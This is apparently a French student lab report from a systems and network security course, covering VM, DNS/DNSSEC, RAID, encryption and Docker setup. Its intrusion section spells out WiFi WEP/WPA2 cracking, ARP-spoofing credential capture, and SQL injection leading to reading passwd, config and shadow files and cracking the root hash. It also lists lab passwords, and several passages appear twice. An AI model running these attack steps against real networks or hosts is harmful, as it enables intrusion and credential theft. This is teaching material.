Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:02:36Z

Psanchez : /* Attaque de type "homme au milieu" par usurpation ARP */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

